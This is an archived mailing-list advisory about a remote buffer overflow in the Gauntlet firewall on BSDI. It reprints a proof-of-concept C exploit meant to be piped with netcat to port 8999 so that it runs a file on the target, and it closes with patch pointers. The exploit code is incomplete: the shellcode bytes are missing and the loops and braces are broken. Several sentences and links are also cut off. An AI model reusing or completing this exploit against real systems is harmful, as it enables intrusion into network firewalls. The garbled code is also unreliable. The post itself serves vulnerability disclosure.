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Gauntlet buffer overflow





    This was  posted to  the Guantlet  User list.   The claim  is that
    there is no  exploit "in the  wild" and that  the only holders  of
    the  code  are  NAI  and  Garrison  Tech,  and  they don't plan to
    release it which is not truth (see below).  Of course, nobody else
    will figure it out,  right?  Nice to  have a buffer overflow  in a
    firewall in any case.

    Below is  proof of  concept code.   Since this  exploit exists, it
    gives us new fear that there  is probably more to come.   Security
    verdors need  to pay  better attention  to the  code they put out.
    Pix, Checkpoint, Gauntlet,  all have exploits  that came out  this

    So here it  is, script kiddies  don't bother, this  code wont help
    you.   It  is   written  to  run  a   test  file  called   /bin/zz
    Just throw a file called zz  in /bin on the gauntlet firewall  and
    chmod  it  to  700.   Inside  the  zz  file  you should have it do
    something where it will  leave you a log.   Here is a real  simple

        echo "IT RAN" > /tmp/TEST

    And here comes exploit:

    *                  Animal.c
    * Remote Gauntlet BSDI proof of concept exploit.
    * Garrison technologies may have found it, but I am the
    * one who released it.  ;) I do not have a Sparc or I would
    * write up the Solaris one too.  If you have one, please
    * make the changes needed and post it.  Thanks.
    * Script kiddies can go away, this will only execute a file
    * named /bin/zz on the remote firewall.  To test this code,
    * make a file named /bin/zz and chmod it to 700.
    * I suggest for the test you just have the zz file make a note
    * in syslog or whatever makes you happy.
    * This code is intened for proof of concept only.
    * _Gramble_
    *                                             Hey BuBBles
    *To use:
    *      # Animal | nc <address> 8999
    #include <stdio.h>
    char data[364];
    main() {
            int i;
	    char shelloutput[80];
    /* just borrowed this execute code from another exploit */
	    unsigned char shell[] =
		    data[i] = 0x00;
	    for (i=0; i<strlen(shell); i++)
		    shelloutput[i] = shell[i];
		    shelloutput[i] = 0x00;
	    printf("10003.http://%s%s", data, shelloutput);


    Patches are available from

    the patch  you need  is cyber.patch  for whatever  version you are
    currently running.  There is  no released patch for Gauntlet  4.1,
    however  if  you  refer  to  the  advisory  you  can implement the
    workaround detailed in that advisory.

    Network Associates released a patch to address this issue.  See:

    for further information.

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